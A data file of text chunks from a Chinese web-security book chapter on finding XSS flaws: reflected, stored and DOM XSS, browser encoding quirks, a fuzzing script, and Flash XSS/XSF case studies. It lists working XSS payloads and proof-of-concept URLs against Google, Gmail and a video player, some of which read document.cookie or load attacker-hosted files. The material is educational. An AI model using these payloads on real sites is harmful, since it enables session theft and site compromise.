    {"text": "我们在实际的攻击测试中发现，大家对这方面的意识是很薄弱的，即使没有很好的美工功底，其成功率还是比较高的，但是在真实的攻击案例中，这类攻击出现得非常少，将来也许会逐渐多起来（因为无论是Web厂商还是用户，其防御意识都很薄弱），界面操作劫持会不断地进化。"},
    {"text": "第6章 漏洞挖掘 本章的知识其实最难，因为一个漏洞的产生可能与很多因素有关，比如，浏览器差异（或说浏览器特性）、浏览器BUG、字符集问题、漏洞对象、所在场景等。"},
    {"text": "我们接触了无数的XSS漏洞挖掘，也总结了很多浏览器特性或BUG导致的XSS利用点（exploit），我们只能说XSS挖掘思路无穷，而且一直随着HTML新对象的出现、浏览器更新换代等因素在不断演变着。"},
    {"text": "6.1 普通XSS漏洞自动化挖掘思路 自动化的XSS漏洞挖掘其实是很复杂的，难度也会很高。 这和我们要实现的XSS漏洞挖掘工具的需求有关，是要效率（有了广度，却忽略了深度），还是要检出率（既有广度，又有深度，漏洞个数多且准确度高）。"},
    {"text": "XSS漏洞挖掘有很多难点和有意思的地方，不是所有的漏洞挖掘都能很好地自动化，对于像特殊场景下的XSS挖掘等是需要人工参与的，虽然会借助一些辅助工具。"},
    {"text": "本节以反射型XSS挖掘为开篇，我们会详细介绍工具自动化的思路，这种思路是一种针对反射型XSS、存储型XSS、头部XSS、Cookie XSS等比较普通的XSS漏洞挖掘思路，而且它已经经过我们的工具化证明，非常有效。"},
    {"text": "6.1.1 URL上的玄机 我们知道这类XSS的输入点在URL上，URL的知识在2.2节中已介绍过，下面摘录部分进行介绍，URL的一种常见组成模式如下： <scheme>://<netloc>/<path>?<query>#<fragment> 比如，一个最普通的URL如下： http://www.foo.com/path/f.php?id=1&type=cool#new 对应关系如下： <scheme> - http <netloc> - www.foo.com <path> - /path/f.php <query> - id=1&type=cool，包括<参数名=参数值>对 <fragment> - new 对这个URL来说，攻击者可控的输入点有<path>、<query>、<fragment>三个部分。"},
    {"text": "那么看下面这个URL： http://www.foo.com/path/1/id#new 也许攻击者可以知道是/path还是<path>，1是参数值，id是参数名，但是用工具如何知道？ 除非攻击者手工设置工具的URL识别模式，而且这种情况只可能是特例，下次出现这样的URL呢？ http://www.foo.com/path/type/cool#new 在工具自动化的过程中有一个非常重要的机制必须具备，就是这类路径型参数的识别，其实这部分不应该是XSS漏洞挖掘需要关心的，而应该是上层爬虫需要关心的。"},
    {"text": "这是对爬虫的一种挑战，传统的Web中，每个URL对应具体的一个文件资源，而在Web 2.0时代，强调每个URL都必须具备非常明确的含义，好处不仅是便于人们阅读，而且也便于那些Google/Baidu爬虫理解与收录（SEO的手段之一）。"},
    {"text": "比如，如下URL： http://www.foo.com/20121221/world-will-be-ended 比下面的URL好： http://www.foo.com/20121221/post.php?id=3 更有甚者，现在风靡RESTFUL风格的HTTP API，比如，微博的一些API： http://weibo.com/apis/show_friends http://weibo.com/apis/delete_msg 每个URL已经具备了明确的含义，而且这些URL一般都是通过URL映射来实现资源访问的，这种映射很强大，能够精确到具体的一个函数接口（如果了解过Web框架式开发的人，比如Django里的urls.py配置的各种映射）。"},
    {"text": "爬虫必须能赶上这种革新，因为爬虫识别出URL每部分的差异时，不仅仅是对后续的漏洞挖掘有帮助，而且对于爬虫本身的一些策略动态调整也有帮助，比如，一些相似度高的URL其实是对应到了一个相同的资源，爬虫就没必要重复分析，如： http://www.foo.com/page/1/id/2011 http://www.foo.com/id/2011/page/1 这里就不细说爬虫本身了，因为强大的爬虫不是一个简单的工程（包括写这些描述文字）。"},
    {"text": "回到XSS漏洞挖掘上，上面说了攻击者可控的输入点有<path>、<query>、<fragment>三个，其实<fragment>里的值一般不会出现在服务端解析，除非Web 2.0网站，比如twitter，它的URL格式如下： http://twitter.com/evilcos!#status 请求时，第一步会通过JavaScript的location.href获取到完整的URL，并解析出status值，然后通过各种AJAX函数来处理请求，最后进行各种局部页面的异步刷新。"},
    {"text": "6.1.2 HTML中的玄机 在6.1.1节中，为了使问题简单化，我们忽略了URL的<Scheme><netloc>与<fragment>这几部分，就剩下<path>和<query>了，这样就没难度了吗？"},
    {"text": "看下面一个普通的URL： http://www.foo.com/xss.php?id=1 攻击者会这样进行XSS测试，将如下payloads分别添加到id=1： <script>alert(1)</script> '\"><script>alert(1)</script> <img/src=@ onerror=alert(1)/> '\"><img/src=@ onerror=alert(1)/> ' onmouseover=alert(1) x=' \" onmouseover=alert(1) x=\" ` onmouseover=alert(1) x=` javascript:alert(1)// data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== '\";alert(1)// </script><script>alert(1)// }x:expression(alert(1)) alert(1)// */-->'\"></iframe></script></style></title></textarea></xmp></noscript></ noframes></plaintext><script>alert(1)</script> 然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。"},
    {"text": "HTML标签之间，比如：出现在<div id=\"body\">[输出]</div>位置。 HTML标签之内，比如：出现在<input type=\"text\" value=\"[输出]\" />位置。 成为JavaScript代码的值，比如：<script>a=\"[输出]\";...</script>位置。 成为CSS代码的值，比如：<style>body{font-size:[输出]px;...}</style>位置。"},
    {"text": "1. HTML标签之间 最普通的场景出现在<div id=\"body\">[输出]</div>位置，那么提交： id=1<script>alert(1)</script> 就可以触发XSS了。"},
    {"text": "<title></title> <textarea></textarea> <xmp></xmp> <iframe></iframe> <noscript></noscript> <noframes></noframes> <plaintext></plaintext> 比如，代码<title><script>alert(1)</script></title>会弹出提示框吗？"},
    {"text": "XSS漏洞挖掘机制必须具备这样的区分能力，比如，发现出现在<title></title>中，就将提交的payload变为： </title><script>alert(1)</script> 除了这些，还有两类特殊的标签<script>和<style>，它们是不能嵌套标签的，而且payload构造情况会更灵活，除了闭合对应的标签外，还可以利用它们自身可执行脚本的性质来构造特殊的payload，这在下面介绍。 2. HTML标签之内 最普通的场景出现在<input type=\"text\" value=\"[输出]\" />位置，要触发XSS，有以下两种方法： 提交payload：\" onmouseover=alert(1) x=\"，这种是闭合属性，然后使用on事件来触发脚本。 提交payload：\"><script>alert(1)</script>，这种是闭合属性后又闭合标签，然后直接执行脚本。"},
    {"text": "从对比可知，第二个比第一个多了<>字符，而很多情况下，目标网站防御XSS很可能就过滤或编码了<>字符，所以第一个payload的成功率会更高，这也是漏洞挖掘工具在这个场景中必须优先使用的payload。"},
    {"text": "下面继续看HTML标签之内的各种场景，如果出现下面的语句： <input type=\"hidden\" value=\"[输出]\" /> 一般情况下，此时我们只能闭合input标签，否则由于hidden特性导致触发不了XSS。 如果出现下面的语句： <input value=\"[输出]\" type=\"hidden\" /> 和上面这个仅仅是两个属性的顺序不同而已。"},
    {"text": "语句如下： 1\" onmouserover=alert(1) type=\"text 输出后变为： <input value=\"1\"onmouserover=alert(1) type=\"text\" type=\"hidden\" /> 这时候的输出不再是一个隐藏的表单项，而是一个标准的输入框，鼠标移上去就可触发XSS。"},
    {"text": "我们继续来看同样有意思的场景，比如这三类： 输出在src/href/action等属性内，比如<a href=\"[输出]\">click me</a>。 输出在on*事件内，比如<a href=\"#\" onclick=\"[输出]\">click me</a>。 输出在style属性内，比如<a href=\"#\" style=\"[输出]\">click me</a>。 1）输出在src/href/action等属性内 我们的payload除了各种闭合之外，还可以像下面这样： javascript:alert(1)// data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== 前提是我们提交的payload必须出现在这些属性值的开头部分（data:协议的必须作为整个属性值出现）。"},
    {"text": "比如： javascript:alert(1)- 输出后点击同样触发，只不过浏览器会报错，这样的错误是可以屏蔽的： window.onerror = function(){return true;} 2）输出在on*事件内 由于on*事件内是可以执行JavaScript脚本的。"},
    {"text": "3）输出在style属性内 我们知道，现在在style中执行脚本已经是IE浏览器独有的特性，曾经Firefox的moz-binding里是可以引用外部xml资源以执行JavaScript的，修修补补，总算是屏蔽了这些缺陷。"},
    {"text": "比如注入： 1;xss:expression(if(!window.x){alert(1);window.x=1;}) 得到输出： <a href=\"#\" style=\"width:1;xss:expression(if(!window.x){alert(1);window. x=1;})\">click me</a> 4）属性引用符号 我们都知道HTML是一个很不严格的标记语言（它的反面代表是XML），属性值可以不用引号，或者使用单引号、双引号、反单引号（仅IE浏览器支持）进行引用。"},
    {"text": "因为如果同时提交'、\"和`这三种引号进行闭合，可能会因为网站SQL注入防御屏蔽了单引号导致请求失败，而目标输出又是双引号进行属性值引用的，这样就得不偿失了。"},
    {"text": "3. 成为JavaScript代码的值 与“输出在on*事件内”的情况类似，有些JavaScript代码是服务端输出的，有时候会将用户提交的值作为JavaScript代码的一部分一起输出，如下场景： <script>a=\"[输出]\";...</script> 在这个场景中，我们的payload可以是： </script><script>alert(1)// 这个是<script>标签的闭合机制，它会优先寻找最近的一个</script>闭合，无论这个</script>出现在哪里，都会导致这样的payload可以成功。 \";alert(1)// 这个payload是直接闭合了a变量的值引用。 还有一个需要注意的场景： alert(1) 又是这个神奇的payload，比如，恰好a变量在其他地方被eval等直接执行了。"},
    {"text": "在真正的payload攻击请求之前，总会发起一次无危害（不包含任何特殊符号）的请求，这个请求就像“探子”一样，来无影去无踪，不会被网站的过滤机制发现，就像是一次正常的请求。"},
    {"text": "“探子”的目的有以下两个： 目标参数值是否会出现在响应上，如果不出现，就完全没必要进行后续的payload请求与分析，因为这些payload请求与分析可能会进行多次，浪费请求资源。"},
    {"text": "6.1.4 关于存储型XSS挖掘 根据上一节对“反射型XSS挖掘”的各种玄机进行剖析，其实存储型XSS挖掘也就差不多了，只不过这里一般是表单的提交，然后进入服务端存储中，最终会在某个页面上输出。"},
    {"text": "有以下几种情况： 表单提交后跳转到的页面有可能是输出点。 表单所在的页面有可能就是输出点。 表单提交后不见了，然后就要整个网站去找目标输出点，这个需要爬虫对网站进行再次爬取分析，当然这个过程是可以优化的，比如，使用页面缓存技术，判断目标页面是否变动，一般发送Last-Modified与Etag头部，根据响应状态码进行判断即可。"},
    {"text": "6.2 神奇的DOM渲染 第3章简单分析过什么是DOM XSS，其实这类漏洞很普遍，很多防御体系都是在客户端进行的，客户端逻辑实际上可以很复杂，尤其是很多人喜欢用各种JavaScript去动态生成一些DOM逻辑。"},
    {"text": "6.2.1 HTML与JavaScript自解码机制 关于这个自解码机制，我们直接以一个例子（样例0）来进行说明： <input type=\"button\" id=\"exec_btn\" value=\"exec\" onclick=\"document.write ('<img src=@ onerror=alert(123) />')\" /> 我们假设document.write里的值是用户可控的输入，点击后，document.write出现一段img HTML，onerror里的JavaScript会执行。 此时陷阱来了，我们现在提供一段HtmlEncode函数如下（样例A）： <script> function HtmlEncode(str) { var s = \"\"; if (str.length == 0) return \"\"; s = str.replace(/&/g, \"&amp;\"); s = s.replace(/</g, \"&lt;\"); s = s.replace(/>/g, \"&gt;\"); s = s.replace(/\\\"/g, \"&quot;\"); return s; } </script> <input type=\"button\" id=\"exec_btn\" value=\"exec\" onclick=\"document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))\" /> 我们知道HtmlEncode('<img src=@ onerror=alert(123) />')后的结果是： &lt;img src=@ onerror=alert(123) /&gt; 这个样例A点击后会执行alert(123)吗？"},
    {"text": "<input type=\"button\" id=\"exec_btn\" value=\"exec\" onclick=\"document.write ('&lt;img src=@ onerror=alert(123) /&gt;')\" /> 在样例A和样例B中，document.write的值似乎是一样的？ 实际结果是样例A点击不会执行alert(123)，而是在页面上完整地输出<img src=@ onerror=alert(123) />，而样例B点击后会执行alert(123)。 我们要告诉大家的是，点击样例B时，document.write的值实际上不再是： &lt;img src=@ onerror=alert(123) /&gt; 而是： <img src=@ onerror=alert(123) /> 我们可以这样论证： <input type=\"button\" id=\"exec_btn\" value=\"exec\" onclick=\"x='&lt;img src=@ onerror=alert(123) /&gt;';alert(x);document.write(x)\" /> 看弹出的x值就知道了，如图6-1所示。"},
    {"text": "上面的用户输入是出现在HTML里的情况，如果用户输入出现在<script>里的JavaScript中，情况会怎样，代码如下： <input type=\"button\" id=\"exec_btn\" value=\"exec\" /> <script> function $(id){return document.getElementById(id);}; $('exec_btn').onclick = function(){ document.write('<img src=@ onerror=alert(123)/>'); //document.write('&lt;img src=@ onerror=alert(123) /&gt;'); }; </script> 这样是可以执行alert(123)的，如果用户输入的是下面的内容： &lt;img src=@ onerror=alert(123) /&gt; 结果与样例B一样：这段HTML编码的内容在JavaScript执行之前自动解码吗？ 答案是不会，原因是用户输入的这段内容上下文环境是JavaScript，不是HTML（可以认为<script>标签里的内容和HTML环境毫无关系），此时用户输入的这段内容要遵守的是JavaScript法则，即JavaScript编码，具体有如下几种形式。"},
    {"text": "比如，用户输入被转义成如下形式： \\<img src\\=@ onerror=alert\\(123\\) \\/\\> 这样的防御毫无意义，在JavaScript执行之前，这样的转义会自动去转义，alert(123)照样执行。 同样，下面这样的JavaScript编码也毫无意义： <img src=@ onerror=alert(123) /> --> \\u003c\\u0069\\u006d\\u0067\\u0020\\u0073\\u0072\\u0063\\u003d\\u0040\\u0020\\u006f\\u006e\\u0065\\u0072\\u0072\\u006f\\u0072\\u003d\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0032\\u0033\\u0029\\u0020\\u002f\\u003e \\x3c\\x69\\x6d\\x67\\x20\\x73\\x72\\x63\\x3d\\x40\\x20\\x6f\\x6e\\x65\\x72\\x72\\x6f\\x72\\x3d\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x32\\x33\\x29\\x20\\x2f\\x3e 在JavaScript执行之前，这样的编码会自动解码。"},
    {"text": "6.2.2 具备HtmlEncode功能的标签 上面这些例子中的信息量很大，是理解透DOM XSS的基础，下面我们进一步看看不同标签之间存在的一些差异，看下面这段代码： <script>function $(id){return document.getElementById(id);};</script> <input type=\"button\" id=\"exec_btn\" value=\"exec\" onclick=\"$('i1').innerHTML='<img src=@ onerror=alert(123) />';alert($('i1').innerHTML);\" /> <input type=\"button\" id=\"exec2_btn\" value=\"exec2\" onclick=\"$('i2').innerHTML='<img src=@ onerror=alert(123) />';alert($('i2').innerHTML);\" /> <textarea id=\"i1\" style=\"width:600px;height:300px;\"></textarea> <div id=\"i2\"></div> 点击exec_btn和点击exec2_btn的效果一样吗？"},
    {"text": "图6-2 exec_btn点击效果（左边）和exec2_btn点击效果（右边） 左图是点击exec_btn的效果，右图是点击exec2_btn的效果，前者进行了HtmlEncode编码。"},
    {"text": "同理可推，这样的标签还有： <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> 这些标签在本章开头部分曾提到过，不过少了以下两个： <xmp></xmp> <plaintext></plaintext> <xmp>没有HtmlEncode功能，<plaintext>在Firefox与Chrome下有差异，Firefox下不会进行HtmlEncode编码，而在Chrome下会，这样的差异有时候会导致安全问题。"},
    {"text": "2009年，我们发现WebKit内核的浏览器有一个安全差异，这个漏洞简述为： 获取textarea标签的innerHTML内容时，内容没有被编码，导致安全隐患产生。"},
    {"text": "... 如曾经的QQ滔滔做HtmlEncode采取了如下方式： < script > function HTMLEncode(s) { var html = \"\"; var safeNode = document.createElement(\"TEXTAREA\"); if (safeNode) { safeNode.innerText = s; html = safeNode.innerHTML; safeNode = null; } return html; } var tmp = '<iframe src=http://baidu.com>'; alert(HTMLEncode(tmp)); </script> 因为textarea在HTML中的权重很高，允许html标签出现在<textarea></textarea >之间，所以这种做法本没有任何问题，但因为WebKit存在此缺陷，导致在Maxthon 3.0极速模式、Chrome和Safari的所有版本中，本应该是绝对安全的代码变成了恶意代码，并可以随意执行XSS语句。"},
    {"text": "6.2.3 URL编码差异 2011年3月，我们在xeyeteam.appspot.com上发布了一篇URL编码差异分析的文章，在此摘录文章如下： 浏览器在处理用户发起请求时的urlencode策略存在差异，导致在某些场景中出现XSS漏洞。"},
    {"text": "经过分析，导致这种浏览器差异性的XSS，除了与浏览器的urlencode策略差异有关，还与服务端代码的实现有关，这类安全风险不仅是PHP的特例，其他服务端语言环境也可能出现这类问题。 1. 漏洞分析 简单的测试poc如下： 分析地址：http://www.0x37.com:8989/test.php?c='\"`<>!@$%^*(){}[]:;.,?～ 发送请求时，抓包发现，浏览器的urlencode默认行为： FireFox GET /test.php?c=%27%22%60%3C%3E!@$%^*(){}[]:;.,?～ HTTP/1.1 编码了'\"`<>特殊字符 Chrome GET /test.php?c='%22`%3C%3E!@$%^*(){}[]:;.,?～ HTTP/1.1 只编码了\"<>特殊字符 IE内核 GET /test.php?c='\"`<>!@$%^*(){}[]:;.,?～ HTTP/1.1 不做任何编码 如果服务端语言直接获取到urlencode的内容进行输出，则可能导致在IE场景中出现XSS漏洞，在Chrome场景中出现小范围的XSS漏洞，而Firefox则比较安全（相对下面的这个场景而言）。 以PHP为例进行说明： 浏览器urlencode差异导致出现XSS漏洞： http://www.0x37.com:8989/test.php?c='\"`<>!@$%^*(){}[]:;.,?～ <?php echo '<h3>$_SERVER[\"QUERY_STRING\"]</h3>'; echo $_SERVER['QUERY_STRING']; echo ''; echo 'in &lt;input&gt; <input type=\"text\" value=\"'.$_SERVER[\"QUERY_STRING\"].'\" />'; //echo '<h3>$_GET[\"c\"]</h3>'; //echo $_GET[\"c\"]; //echo ''; //echo 'in &lt;input&gt; <input type=\"text\" value=\"'.$_GET[\"c\"].'\" />'; ?> POC: http://www.0x37.com:8989/test.php?c=\"><script>alert(/xeye/)</script> 注： 自己搭建PHP测试环境，www.0x37.com是本地hosts:P。"},
    {"text": "PHP中$_SERVER['QUERY_STRING']将获取到浏览器urlencode后的内容（在django中是request.get_full_path()），而$_GET[\"c\"]获取到的是urlencode之前的内容。"},
    {"text": "从这个场景中看，FireFox是最安全的，但在其他场景中就不一定了，至少FireFox将'\"`<>都编码了，如果后台处理逻辑有问题，就很可能绕过一些过滤器，接着又进行了urldecode编码，这时问题就出现了。"},
    {"text": "实际上，这篇文章提到urlencode差异带来的安全问题同样适用于DOM XSS，如下测试代码： <script> var loc = document.location.href; document.write(\"<div>\" + loc + \"</div>\"); </script> http://www.foo.com/loc.html?'\"`<>!@$%^*(){}[]:;.,?～ 使用不同的浏览器访问这个地址能看出差异，这种情况只能在IE下触发DOM XSS（不考虑IE XSS Filter）： http://www.foo.com/dom/loc.html?<script>alert(1)</script> 还有一个差异，如果是这样（#符号之后）： http://www.foo.com/loc.html#'\"`<>!@$%^*(){}[]:;.,?～ Chrome的行为不一样了，不进行任何urlencode操作。 通过这个技巧就可以在Chrome下触发DOM XSS（实际上会被Chrome XSS Filter拦截，在真实的场景下，我们要做的是突破这样的拦截）： http://www.foo.com/dom/loc.html#<script>alert(1)</script> 6.2.4 DOM修正式渲染 我们经常通过查看网页源码功能来看所谓的“HTML源码”，比如Chrome与Firefox下的view-source:http://www.foo.com/。 这样看到的“HTML源码”实际上是静态的，我们研究DOM XSS接触的必须是动态结果。 Firefox安装了Firebug扩展，按F12键，在Chrome下按F12键，在IE 8/IE 9按F12键都可以打开对应的调试工具，这些调试工具查看的源码就是动态结果。 我们也可以执行如下JavaScript语句进行查看： document.documentElement.innerHTML; 通过这些小技巧，我们可以发现这些浏览器在DOM渲染上进行各种修正，不同的浏览器进行的这种修正可能存在一些差异。"},
    {"text": "Python脚本中fuzz_xss_0.py的代码如下： #!/usr/bin/python # encoding=utf-8 \"\"\" 成功会进行dom操作，往result div里附加结果 by cosine 2011/8/31 \"\"\" def get_template(template_file): \"\"\"获取fuzzing的模板文件内容\"\"\" f = open(template_file) template = f.read() f.close() return template def set_result(result_file,result): \"\"\"生成fuzzing结果文件\"\"\" f = open(result_file,'w') f.write(result) f.close() if __name__ == '__main__': template = get_template(\"fuzz_xss_0.htm\") # 默认fuzzing模板文件是fuzz_xss_0.htm fuzz_area_0 = template.find('<fuzz>') fuzz_area_1 = template.find('</fuzz>') fuzz_area = template[fuzz_area_0+6: fuzz_area_1].strip() #chars = [chr(47),chr(32),chr(10)] chars = [] for i in xrange(255): # ASCII码转换为字符 if i!=62: chars.append(chr(i)) fuzz_area_result = '' for c in chars: # 遍历这些字符，逐一生成fuzzing内容 fuzz_area_r = fuzz_area.replace('{{char}}',c) fuzz_area_r = fuzz_area_r.replace('{{id}}',str(ord(c))) fuzz_area_result += fuzz_area_r + '\\n' print fuzz_area_r result = template.replace(fuzz_area,fuzz_area_result) set_result('r.htm',result) fuzzing模板fuzz_xss_0.htm的代码如下： <title>Fuzz XSS 0</title> <style> body{font-size:13px;} #p{width:700px;border:1px solid #ccc;padding:5px;background-color: #eee;} #result{width:700px;border:1px solid #ccc;padding:5px;background-color:#eee} h3{font-size:15px;color:#09c;} </style> <script> function $(x){return document.getElementById(x);} function f(id){ $('result').innerHTML += id+'<br />'; } </script> <h3>Fuzzing Result:</h3> <xmp> {{id}}: <{{char}}script>f(\"{{id}}\")</script> </xmp> <div id=\"result\"></div><!-- fuzzing成功的字符ASCII码存储在这 --> <br /> <h3>Fuzzing...:</h3> <!-- 以下是待替换的模板标签内容 --> <fuzz> {{id}}: <{{char}}script>f(\"{{id}}\")</script><br /> </fuzz> 就这两个简单的文件，fuzz_xss_0.py会调用fuzz_xss_0.htm这个fuzzing模板去按需生成结果文件r.htm，然后用浏览器打开r.htm，如果<fuzz></fuzz>里的某项可以被浏览器正确执行，那么就会触发f函数，f函数会往id为result的<div>标签里写模糊测试成功的字符ASCII码。"},
    {"text": "图6-3 fuzz_xss_0.py运行截图 这个模糊测试的目标是寻找哪些ASCII字符可以出现在<script>标签的左尖括号的后面，结论是：IE 9浏览器支持ASCII为0的字符，其他浏览器不支持，而ASCII为60的字符是<，可以忽略，看IE 9的截图，如图6-4所示。 图6-4 IE 9下查看模糊测试结果文件：r.htm 我们只要修改fuzz_xss_0.htm模板里要模糊测试的内容，就可以模糊测试我们想了解的DOM特性。"},
    {"text": "6.3 DOM XSS挖掘 了解DOM渲染后有助于我们更好地进行DOM XSS漏洞的挖掘，本节会介绍一些常见的DOM XSS挖掘思路，这些思路都需要弄清楚输入点（sources）和输出点（sinks）是什么，相关内容在第3章中有过简单的说明。"},
    {"text": "6.3.1 静态方法 静态方法如果要工具化，可以使用下面这个链接提到的正则表达式来匹配： http://code.google.com/p/domxsswiki/wiki/FindingDOMXSS 比如，输入点匹配的正则表达式如下： /(location\\s*[\\[.])|([.\\[]\\s*[\"']?\\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\\W)|(localStorage|sessionStorage|Database)/ 输出点匹配的正则表达式如下： /((src|href|data|location|code|value|action)\\s*[\"'\\]]*\\s*\\+?\\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\\s*[\"'\\])*\\s*\\()/ 一旦发现页面存在可疑特征，就进行人工分析，这是静态方法的代价，对人工参与要求很高。 这个过程可以利用浏览器来达到这个目的，比如，Firefox下用Firebug能统一分析目标页面加载的所有JavaScript脚本，可以用自带的搜索功能，用正则表达式的方式进行目标的搜索非常方便。"},
    {"text": "从输入点到输出点的过程中可能会非常复杂，需要很多步骤，如果要这样一步步地动态跟踪下去，其代价是很高的，如果仅关注输入点与输出点，不关注过程，那么一些逻辑判断的忽视可能会导致漏报，比如，过程中会判断输入点是否满足某个条件，才会进入输出点。"},
    {"text": "<script> eval(location.hash.substr(1)); </script> 1）思路一 借用浏览器自身的动态性，可以写Firefox插件，批量对目标地址发起请求（一个模糊测试过程），请求的形式是：在目标地址后加上#fuzzing内容，比如其中一个模糊测试内容是：var x='d0mx55'。 在响应回来时，我们需要第一时间注入一段脚本劫持常见的输出点函数，劫持方式可以参考2.5.7节的“JavaScript函数劫持”，比如，劫持了eval函数如下： var _eval=eval; eval = function(x){ if(typeof(x)=='undefined'){return;} if(x.indexOf('d0mx55')!=-1){alert('found dom xss');} _eval(x); }; 当eval(location.hash.substr(1));执行时，实际上是执行我们劫持后的eval，它会判断目标字符串d0mx55是否存在，若存在，则报DOM XSS。 在JavaScript层面劫持innerHTML这样的属性已经没那么容易了，常用的属性劫持可以针对具体的对象设置__defineSetter__方法，比如，如下代码： window.__defineSetter__('x',function(){alert('hijack x')}); window.x ='xxxxyyyyyyyyyyyy'; 当x赋值的时候，就会触发事先定义好的Setter方法。 innerHTML属性属于那些节点对象，想劫持具体节点对象的innerHTML，需要事先知道这个具体节点的对象，然后设置__defineSetter__方法。"},
    {"text": "2）思路二 仍然借用浏览器动态执行的优势，写一个Firefox插件，我们完全以黑盒的方式进行模糊测试输入点，然后判断渲染后的DOM树中是否有我们期待的值，比如，模糊测试提交的内容都有如下一段代码： document.write('d0m'+'x55') 如果这段代码顺利执行了，当前DOM树就会存在d0mx55文本节点，后续的检测工作只要判断是否存在这个文本节点即可，代码如下： if(document.documentElement.innerHTML.indexOf('d0mx55')!=-1){ alert('found dom xss'); }; 这个思路以DOM树的改变为判断依据，简单且准确，不过同样无法避免那些逻辑判断上导致的漏报。"},
    {"text": "很多网站的Flash播放器都会有XSF风险，因为这些播放器需要能够灵活加载第三方Flash资源进行播放。 不过这样的XSF风险其实非常小，因为浏览器直接访问Flash文件时，安全沙箱的限制是很严格的。"},
    {"text": "所以，下面分析的nxtv flash player只需了解思路即可，这样的XSF漏洞在这样的场景下毫无价值，有价值的是思路。 漏洞文件：http://video.nxtv.cn/flashapp/player.swf 分析方法分为静态分析和动态分析。"},
    {"text": "1. 静态分析 我们可以使用SWFScan图形化界面或者用swfdump命令行工具进行反编译得到ActionScript代码，这两个工具都很不错，下面以SWFScan为例进行说明。"},
    {"text": "如图6-5所示为SWFScan界面截图，在Properties栏中可以看到这是用AS2编写的Flash。 AS2有全局变量覆盖风险，这个SWFScan对我们来说，最大的价值就是Source栏的源码，其他功能一般不用，用肉眼扫过源码，在反编译出来的源码中发现下面一段代码。 图6-5 SWFScan界面截图 var myXML = new XML(); var __callResult_162 = myXML.load(( ( \"http://\" + _root.host ) + \"/load.php?action=playerad\" )); myXML.ignoreWhite = True; myXML.onLoad = function (success) { type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue; adurl = myXML.childNodes.0.childNodes.1.childNodes.0.nodeValue; _global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0.nodeValue) ; std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue; if ( ( std == 1 ) ) { if ( ( type == 1 ) ) { mp1.contentPath = ( ( ( \"http://\" + _root.host ) + \"/\" ) + adurl ); var __callResult_267 = mp1.play(); 首先加载远程XML文件，这个功能是AS经常使用的，因为该功能非常方便，使用简单，且XML可配置性很高。"},
    {"text": "这里加载远程XML文件是可劫持的：_root.host，这样的全局变量可以直接通过URL方式提交，如： http://video.nxtv.cn/flashapp/player.swf?host=evilcos.me 此时远程XML文件为： http://evilcos.me/load.php?action=playerad 内容如图6-6所示。 图6-6 远程XML内容 这样的XML结构和原始的是一致的，只是我们把内容替换为自己恶意构造的，之后mp1.play();的contentPath值( ( ( \"http://\" + _root.host ) + \"/\" ) + adurl );变为： http://evilcos.me/flash/video.swf 这样就加载了第三方Flash进行播放，从而造成XSF攻击。"},
    {"text": "其实，完全静态地用肉眼分析是不太容易的，很多时候我们还会结合动态方式进行分析，比如在Firefox下Firebug的网络请求中发现一些额外的请求，更能清晰地理解目标Flash的运行流畅。"},
    {"text": "6.4.2 Google Flash XSS挖掘 截止写书时刻，本节提到的Google Flash XSS还是一个0day，如果我们不公开，估计能存活很久，公开它的另一个原因是，这个0day的威力已经不大了。"},
    {"text": "有一个XSS如下： http://www.google.com/enterprise/mini/control.swf?onend=javascript:alert(document.domain) 请求后跳转到： http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/zh-CN//enterprise/mini/control.swf?onend=javascript:alert(document.domain) Google Flash XSS截图如图6-8所示。 图6-8 Google Flash XSS截图 威力不大的是因为Google对它们的域分离得非常好，把那些无关紧要的内容都放到了其他域名上，这样，这个XSS就是鸡肋了。"},
    {"text": "filetype:swf site:google.com 找到了很多google.com域上的Flash文件，其中就有： http://www.google.com/enterprise/mini/control.swf 反编译得到如图6-9所示的结果。 图6-9 control.swf反编译后的结果 这是AS2代码，getURL里直接就是_level0.onend，全局变量未初始化。 这个control.swf还关联了其他的Flash文件，大家有兴趣可以逐一分析，还有一些其他问题。"},
    {"text": "顺便说一下，2010年Gmail的一个Flash XSS被爆，XSS代码网址为： https://mail.google.com/mail/uploader/uploaderapi2.swf?apiInit=eval&apiId=alert(document.cookie) 触发代码片段如下： var flashParams:* = LoaderInfo(this.root.loaderInfo).parameters; API_ID = \"apiId\" in flashParams ? (String(flashParams.apiId)) : (\"\"); API_INIT = \"apiInit\" in flashParams ? (String(flashParams.apiInit)) : (\"onUploaderApiReady\"); ... if (ExternalInterface.available) { ExternalInterface.call(API_INIT, API_ID); } 上面这段代码是AS3代码，它存在非常明显的XSS漏洞。"},
    {"text": "6.5 字符集缺陷导致的XSS 有些安全问题的罪魁祸首是字符集的使用（即字符集编码与解码）不正确导致的，字符集本身也有一些问题，比如，各种说不清道不明的原因导致字符集之间的交集分歧。"},
